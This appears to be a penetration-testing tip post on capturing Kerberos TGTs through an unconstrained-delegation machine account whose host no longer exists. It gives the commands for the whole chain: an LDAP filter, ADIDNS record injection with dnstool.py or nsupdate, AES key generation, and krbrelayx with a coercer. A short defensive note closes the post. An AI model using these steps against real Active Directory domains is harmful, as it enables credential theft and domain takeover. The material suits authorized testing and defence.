It’s been a while since we shared useful tips from our security assessment experts. Well, let’s make up for it.
When attacking Kerberos unconstrained delegation, the TGT is commonly extracted from the memory of the host with unconstrained delegation using Rubeus monitor. But what do you do if, during a penetration test, such a machine account is compromised, yet the host itself is unavailable and its name no longer resolves?
This scenario can occur, for example, if data from an outdated machine account was obtained using Pre2k or as a result of exploiting excessive ACLs, while the host has already been decommissioned. In such cases, the Active Directory object and the unconstrained delegation permission may still remain.
Account Discovery
To find accounts with unconstrained delegation, you can use an LDAP filter by the TRUSTED_FOR_DELEGATION flag (0x80000 or 524288) in the userAccountControl attribute:
(userAccountControl:1.2.840.113556.1.4.803:=524288)DNS and SPN
In this scenario, you can intercept TGT tickets on the attacker’s host. A critical requirement is that the name the host or user contacts must match the SPN of the compromised account. A machine account usually already has an SPN set; you just need to add a DNS A-record to resolve the name to the attacker host’s IP address via the ADIDNS mechanism using dnstool.py:
python3 dnstool.py -u domain.local\\username -p Pass123 -r udhost.domain.local -d 10.10.10.10 -a add dc01.domain.localHowever, dnstool.py operation may be blocked by security solutions. An alternative is to use nsupdate after obtaining a Kerberos ticket via kinit:
nsupdate
> gsstsig
> server dc01.domain.local
> zone domain.local
> update add udhost.domain.local. 3600 A 10.10.10.10
> send
> quitWorking with Kerberos Tickets
To process incoming Kerberos authentication, krbrelayx is used. To decrypt the service ticket, you need the key corresponding to the account. You can generate an AES key using aesKrbKeyGen and specify it in the krbrelayx parameters:
python3 aesKrbKeyGen.py -domain domain.local -host -user 'udhost$' -pass Password1
python3 krbrelayx.py -aesKey <aes128/256_key>Another option is to pass the password and salt directly to krbrelayx:
python3 krbrelayx.py -p Password1 -s DOMAIN.LOCALhostudhost.domain.localThe salt for a machine account depends on the Kerberos realm and the host’s full DNS name. Character case is important here.
Once krbrelayx is running, you can use any coercer. It is important to remember that the listener value must use the hostname associated with the target SPN, not the IP address. In the example, it is udhost.domain.local.
If you encounter an error like this:
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'— it means that NTLM was received instead of the expected Kerberos authentication. It is important to verify the name specified in the coercer parameters, the A-record, and the SPN.
Protection
The best defense against such attacks is the absence of accounts that have unconstrained delegation enabled, as this is often excessive and other mechanisms can be used instead.

